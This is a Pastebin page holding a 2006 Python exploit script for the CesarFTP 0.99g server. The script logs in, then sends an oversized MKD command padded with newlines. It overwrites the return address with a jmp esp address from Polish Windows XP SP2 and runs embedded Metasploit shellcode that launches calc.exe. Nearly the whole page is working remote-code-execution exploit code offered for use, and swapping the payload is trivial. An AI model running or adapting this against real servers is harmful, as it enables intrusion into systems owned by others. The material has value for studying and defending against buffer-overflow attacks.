Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
468
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. #!/usr/bin/python
  2. #CesarFtp 0.99g 0day Exploit
  3. #Proof of Concept: execute calc.exe
  4. #Tested on XP sp2 polish
  5. #Bug found by h07 [h07@interia.pl]
  6. #Date: 10.06.2006
  7.  
  8. from socket import *
  9.  
  10. shellcode = ( #execute calc.exe <metasploit.com>
  11. "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
  12. "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
  13. "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
  14. "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
  15. "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
  16. "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
  17. "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
  18. "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
  19. "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
  20. "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
  21. "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
  22.  
  23. def intel_order(i):
  24. a = chr(i % 256)
  25. i = i >> 8
  26. b = chr(i % 256)
  27. i = i >> 8
  28. c = chr(i % 256)
  29. i = i >> 8
  30. d = chr(i % 256)
  31. str = "%c%c%c%c" % (a, b, c, d)
  32. return str
  33.  
  34. host = "127.0.0.1"
  35. port = 21
  36. user = "h07"
  37. password = "open"
  38. EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>
  39.  
  40. s = socket(AF_INET, SOCK_STREAM)
  41. s.connect((host, port))
  42. print s.recv(1024)
  43.  
  44. s.send("user %s\r\n" % (user))
  45. print s.recv(1024)
  46.  
  47. s.send("pass %s\r\n" % (password))
  48. print s.recv(1024)
  49.  
  50. buffer = "MKD "
  51. buffer += "\n" * 671
  52. buffer += "A" * 3 + intel_order(EIP)
  53. buffer += "\x90" * 40 + shellcode
  54. buffer += "\r\n"
  55.  
  56. print "len: %d" % (len(buffer))
  57.  
  58. s.send(buffer)
  59. print s.recv(1024)
  60.  
  61. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement